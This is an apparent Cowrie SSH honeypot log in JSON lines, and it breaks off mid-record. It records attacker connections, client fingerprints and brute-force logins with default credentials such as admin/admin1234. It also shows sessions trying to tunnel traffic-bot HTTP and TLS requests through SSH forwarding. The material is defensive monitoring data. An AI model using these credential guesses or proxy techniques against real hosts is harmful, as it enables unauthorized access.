{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:34.364035Z","src_ip":"23.175.50.52","session":"2d7d4baa6316","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":53672,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7c85a6bce01","protocol":"ssh","message":"New connection: 182.93.50.90:53672 (159.203.135.109:22) [session: b7c85a6bce01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:34.487955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:34.493015Z","src_ip":"182.93.50.90","session":"b7c85a6bce01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:34.497685Z","src_ip":"23.175.50.52","session":"dfbdc20634d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:34.518413Z","src_ip":"23.175.50.52","session":"2d7d4baa6316","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:34.710483Z","src_ip":"182.93.50.90","session":"b7c85a6bce01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty54321","message":"login attempt [root/qwerty54321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:35.603209Z","src_ip":"182.93.50.90","session":"b7c85a6bce01","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:35.717549Z","src_ip":"23.175.50.52","session":"2d7d4baa6316","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:35.967969Z","src_ip":"23.175.50.52","session":"dfbdc20634d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:36.820613Z","src_ip":"182.93.50.90","session":"b7c85a6bce01","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:42.922762Z","session":"2d7d4baa6316","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:42.981565Z","src_ip":"23.175.50.52","session":"2d7d4baa6316","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/606.1.36 (KHTML, like Gecko) Version/9.1.2 Safari/606.1.36\\r\\nConnection: keep-alive\\r\\nContent-Length: 1200\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=UXJzWVhiRClwe0tWMEwmeQ%3D%3Dximw1YYbOff%2BNyLLqTmM%2BSm%2BJCaSt2KM7EjY9Fiod4HxAY1Fs2Ez28kNVc%2F9Ljvqt%2F9xt29dJqiy9kxGJI8b3Je%2FpCZ0ggBpNaYUg31PBAjl66f9%2BsIkwZjobodETeVyKIWXPw6ypoWuTehy2V94ARc6rDZNIoQgNB6PPGXorrvajfA4Wv27uMxA14dYKw%2B53oustw4gma%2BdydyTV9EsCJlftWiibymQoSJB2P4rGG4%2Br8CoXL8dFPjRsWKpEsIVfqMSEViDom1INJ20EoT8FIW%2BlzSHMfao1gc10geHrWJ3ByKYnTorZBJ22tD0URwobHavbmPNmoQpATzHQHOEaUkttR6bBkrpIf0echrVkvmVugt8orCDnv49cJxsHEGc4lxAJKubW7Mc0wp%2Folqm9SJ4fGwqISs%2BbvxTRK3ltmCtb%2BdU%2FKJOdx9BWbZGXxX%2BdREC4srZ6vMCfjjd6RRbAHafV4J1VZXm0khTTyNG4mNXINh1%2BrSO%2B1OXzehcxA4TsUxex7TbSH%2BcyLHLKxfiCkpjGDoS1Po%2BQ6AxcxRWc3j1%2F5jlkmpIxz5tC8nX9z1Cs%2Bsfs%2FU4Y8vWpA%2FRVlR20EdPE1G4TV9aUw4PMJwHor4bbJ604J%2BuX1T6rRSPi6eQt6tn4lR82Y0gaH7CVKJc0eJ%2Fjrcs%2FCFTyikq7dxeAVmgQQgVlF5tLZJTQS2TVzUoDeeEl9YZk94DL3SZvus9ZJ44bjWmHvnM%2FafwfylL4nQr5vcbbuA6WoyKRp8vK1C2FoORcDoKAIFEtY07N6Nofm%2F950trArh6mGiSi7QM1G%2B%2BGBqhDzHwy0k%2FqemNd2aD6tf6Sm1SnuU1cf%2Bkfxl9AiEgNcRMcd0OSvBgh%2BO8H0MvncI8LCo89n69qvWWFT3eXZ3063Geh5kVGM8HYvI%2BYvDUFOHjsiMi6K6ea5lDCOKkW%2FNyJneSshPF41sqdqTN3ayf%2FojpnLEoRec64%2FWrTSZchowsjVzZ%2BDpc9FqaBJn1MoMs89TB56pN8OrwdXhseP8RDnxjkiek7B0FOT5qKtKCxU6Zssq%2FcbFBwBvg1NXlEE4ven0f9s%2BBaJh0gdSH'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/606.1.36 (KHTML, like Gecko) Version/9.1.2 Safari/606.1.36\\r\\nConnection: keep-alive\\r\\nContent-Length: 1200\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=UXJzWVhiRClwe0tWMEwmeQ%3D%3Dximw1YYbOff%2BNyLLqTmM%2BSm%2BJCaSt2KM7EjY9Fiod4HxAY1Fs2Ez28kNVc%2F9Ljvqt%2F9xt29dJqiy9kxGJI8b3Je%2FpCZ0ggBpNaYUg31PBAjl66f9%2BsIkwZjobodETeVyKIWXPw6ypoWuTehy2V94ARc6rDZNIoQgNB6PPGXorrvajfA4Wv27uMxA14dYKw%2B53oustw4gma%2BdydyTV9EsCJlftWiibymQoSJB2P4rGG4%2Br8CoXL8dFPjRsWKpEsIVfqMSEViDom1INJ20EoT8FIW%2BlzSHMfao1gc10geHrWJ3ByKYnTorZBJ22tD0URwobHavbmPNmoQpATzHQHOEaUkttR6bBkrpIf0echrVkvmVugt8orCDnv49cJxsHEGc4lxAJKubW7Mc0wp%2Folqm9SJ4fGwqISs%2BbvxTRK3ltmCtb%2BdU%2FKJOdx9BWbZGXxX%2BdREC4srZ6vMCfjjd6RRbAHafV4J1VZXm0khTTyNG4mNXINh1%2BrSO%2B1OXzehcxA4TsUxex7TbSH%2BcyLHLKxfiCkpjGDoS1Po%2BQ6AxcxRWc3j1%2F5jlkmpIxz5tC8nX9z1Cs%2Bsfs%2FU4Y8vWpA%2FRVlR20EdPE1G4TV9aUw4PMJwHor4bbJ604J%2BuX1T6rRSPi6eQt6tn4lR82Y0gaH7CVKJc0eJ%2Fjrcs%2FCFTyikq7dxeAVmgQQgVlF5tLZJTQS2TVzUoDeeEl9YZk94DL3SZvus9ZJ44bjWmHvnM%2FafwfylL4nQr5vcbbuA6WoyKRp8vK1C2FoORcDoKAIFEtY07N6Nofm%2F950trArh6mGiSi7QM1G%2B%2BGBqhDzHwy0k%2FqemNd2aD6tf6Sm1SnuU1cf%2Bkfxl9AiEgNcRMcd0OSvBgh%2BO8H0MvncI8LCo89n69qvWWFT3eXZ3063Geh5kVGM8HYvI%2BYvDUFOHjsiMi6K6ea5lDCOKkW%2FNyJneSshPF41sqdqTN3ayf%2FojpnLEoRec64%2FWrTSZchowsjVzZ%2BDpc9FqaBJn1MoMs89TB56pN8OrwdXhseP8RDnxjkiek7B0FOT5qKtKCxU6Zssq%2FcbFBwBvg1NXlEE4ven0f9s%2BBaJh0gdSH'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:42.984413Z","src_ip":"23.175.50.52","session":"2d7d4baa6316","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:43.233409Z","session":"2d7d4baa6316","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:43.300745Z","src_ip":"23.175.50.52","session":"2d7d4baa6316","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb7C\\xbd\\xb85{\\xb0\\x95\\x88\\xe7\\xe0+\\x9d/\\xd6?IX{\\x0f\\x12\\xa0g\\xf49\\xcb:\\xff\\x7f\\x17\\xbb\\xdf \\xf5\\xc2b\\xc2\\xd17\\xe1\\x12@\\xe0\\t\\xac\\x80\\x1dT\\x82\\xd4\\xe4^z\\nM\\xf9\\x17cq\\xfa\\x19B\\xb1\\xecn\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc8\\x02}\\xe3\\x0b\\xc2\\xd5\\xe3\\x92\\xbd\\x8fO\\xc9\\xf5.\\xfc{}\\x05R\\xd0D9$2\\x1c\\x14\\xc5\\xfa\\xdd\\xf4;\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb7C\\xbd\\xb85{\\xb0\\x95\\x88\\xe7\\xe0+\\x9d/\\xd6?IX{\\x0f\\x12\\xa0g\\xf49\\xcb:\\xff\\x7f\\x17\\xbb\\xdf \\xf5\\xc2b\\xc2\\xd17\\xe1\\x12@\\xe0\\t\\xac\\x80\\x1dT\\x82\\xd4\\xe4^z\\nM\\xf9\\x17cq\\xfa\\x19B\\xb1\\xecn\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc8\\x02}\\xe3\\x0b\\xc2\\xd5\\xe3\\x92\\xbd\\x8fO\\xc9\\xf5.\\xfc{}\\x05R\\xd0D9$2\\x1c\\x14\\xc5\\xfa\\xdd\\xf4;\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:43.304096Z","src_ip":"23.175.50.52","session":"2d7d4baa6316","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:43.388248Z","session":"2d7d4baa6316","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:43.447729Z","src_ip":"23.175.50.52","session":"2d7d4baa6316","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03#\\xeb\\x7f\\x07\\xc1\\x94\\x11\\x01<\\xad\\xbeaU\\xaf\\n\\xf8\\xf5|\\x0b\\x8f\\xccf\\x00\\xa9\\x9cCb\\xa7\\xeb\\xe3\\x0c\\x16 \\xf8\"\\x8dR\\x05P\\xdd}=\\x02\\xc3\\x16w\\xe6\\xcd\\xc5\\xd9\\xfcN\\x16J\\x91\\x15a\\xc3D$w\\xa9m\\xb6\\x01\\x00\"\\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 2\\x13\\xf9m\\xed\\xad\\xe7pi\\xc1\\xd7c3\\x00\\x02\\xc6\\xcb\\xf7\\x81\\xa9\\x8b\\xb8?>\\xb5\\xd6\\x9ap\\xd2\\xc5Y/\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03#\\xeb\\x7f\\x07\\xc1\\x94\\x11\\x01<\\xad\\xbeaU\\xaf\\n\\xf8\\xf5|\\x0b\\x8f\\xccf\\x00\\xa9\\x9cCb\\xa7\\xeb\\xe3\\x0c\\x16 